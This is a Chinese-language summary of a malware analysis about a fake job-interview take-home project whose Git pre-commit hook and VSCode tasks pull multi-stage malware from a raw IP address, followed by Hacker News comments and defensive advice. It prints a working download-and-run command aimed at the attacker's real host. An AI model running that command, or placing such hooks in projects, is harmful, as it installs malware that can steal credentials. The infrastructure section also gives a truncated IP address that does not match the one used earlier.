虚假求职面试课后作业包含 Git Hook 恶意软件

虚假求职面试课后作业包含 Git Hook 恶意软件

概述

通过 LinkedIn 招聘人员发送的课后作业包含一个 Git 仓库,其中配置了预设的 hooks,当开发者运行 git commit 时,这些 hooks 会执行远程代码。

恶意软件工作原理

pre‑commit hook 会检测宿主操作系统,并从 http://45.61.164.38:5777 静默获取有效载荷。

  • 在 Linux 上,它会运行 wget -qO- 'http://45.61.164.38:5777/task/linux?id=402' | sh
  • 第一阶段会下载一个名为 tokenlinux.npl 的文件,将其重命名为 tokenlinux.sh,赋予执行权限并使用 nohup 启动。
  • 第二阶段 (tokenlinux.sh) 会将 parser.jspackage.json 下载到 $HOME,安装 Node.js 的 request 包并在后台运行 parser.js
  • parser.js 经过高度混淆;id 参数似乎会为每个受害者提供定制的有效载荷。
  • package.json 列出的依赖项提供了网络功能 (axios)、FTP (basic-ftp)、剪贴板 (clipboardy)、文件系统 (fs)、JSON Web Tokens (jsonwebtoken)、进程操作 (process, ps-node) 以及 Ethereum 开发环境 (hardhat)。

发现方法

作者通过对提取的项目运行 tree -a 发现了隐藏的 hooks,这显示了 .git/hooks 目录。

  • 检查 .git/hooks/pre-commit 显示了特定于操作系统的 curl/wget 命令。
  • 对攻击者的端点进行连续的 curl 请求可以检索到暂存的脚本。
  • 更改 id 参数会返回不同的脚本,表明针对每个受害者进行了定制。

攻击者基础设施

该恶意软件会连接到端口 5777 上的原始 IP 地址 (45.61.38)。

  • Nmap 扫描显示有三个开放端口;只有端口 22 在 Ubuntu 上响应 OpenSSH 9.6p1,在扫描时没有已知的 CVE。
  • 使用原始 IP 地址而非域名被视为典型的恶意软件特征。

变体与感染途径

一些受害者收到了一个 .vscode 文件夹,其中包含在 VSCode 中打开目录时执行的启动命令,这意味着无需运行任何 Git 命令即可发生感染。

  • 原始仓库是一个克隆的公开 FastAPI 项目 (https://github.com/Bgogoi123/personal-finance-service),攻击者向其中添加了恶意的 .git 目录。
  • Git 日志仅显示原始项目的提交;没有来自攻击者的自定义提交。

社区见解

Hacker News 帖子上的评论强调了几个观点:

  • "TIL 关于 tree... 我不再对学习我使用了 25 年以上和 10 年以上的操作系统的知识感到惊讶,只是享受这些课后面试噩梦故事带来的发现的快感,它们太普遍了" – @fitsumbelay
  • "这似乎正在成为一个反复出现的主题,上个月首页上也有类似的故事" – @wxw (引用 https://news.ycombinator.com/item?id=48546294)
  • "为什么要使用原始 IP 地址?如果非要说的话,这简直是在大喊“恶意软件”。如果受害者足够深入到检查 hook 的内容,他们不太可能在这里就停止怀疑。我确信大多数开发人员不会认为执行 git commit 是有恶意的(Git 安全疏忽?)" – @ivanjermakov
  • "我从这个案例中得到的教训是 Claude 作为助手完全没用,多亏了所有的安全防护措施和那些废话。" – @vardalab
  • "如果 LinkedIn 真的关心防止诈骗,如果你想列出当前的雇佣关系,他们可以实现使用公司电子邮件的验证。" – @darth_avocado
  • "我从这个案例中得到的教训是,我应该采取和有人打电话说“来自你的银行”时一样的防御措施。当他们直接联系你时,去真正的公司网站申请并联系真正的招聘人员。" – @gtowey
  • "在 AI 时代,这类测试还有意义吗?认真提问,我已经很久没有面试了。它们看起来就像课后大学考试一样有用。" – @drnick1
  • "我假设完成此事的标准方式是通过招聘人员提供的虚拟机,对吧?" – @wslh
  • "我想知道如果你点击“不信任作者”,vscode 是否仍会加载该脚本?" – @syntaxing
  • "我检查了全局禁用 git hooks 的方法。目前没有内置的方法可以做到这一点。" – @darkstar999
  • 个人经验:“我发现我被黑了,但是一种更复杂的攻击……我需要擦除我的笔记本电脑并重新安装所有内容。” – @IvanGoncharov

防御建议

  • 在执行来自未知来源的任何代码之前,请检查隐藏目录(例如,运行 tree -als -la.git/hooks)。
  • 将未经请求的课后作业视为潜在的敌对行为;考虑使用可丢弃的虚拟机或容器。
  • 通过官方渠道联系公司来验证招聘人员的合法性,而不是回复 LinkedIn 消息。
  • 请注意,除非工作区被标记为不受信任,否则 VSCode 将运行文件夹级别的任务。
  • Git 没有全局禁用 hooks 的内置选项;用户必须手动审计 .git/hooks

结论

此事件表明攻击者如何滥用课后面试中隐含的信任,在 Git hooks 中嵌入多阶段恶意软件,并利用看似无害的依赖项来实现持久化和潜在的凭据窃取。在检查第三方代码时保持警惕仍然至关重要。

Sources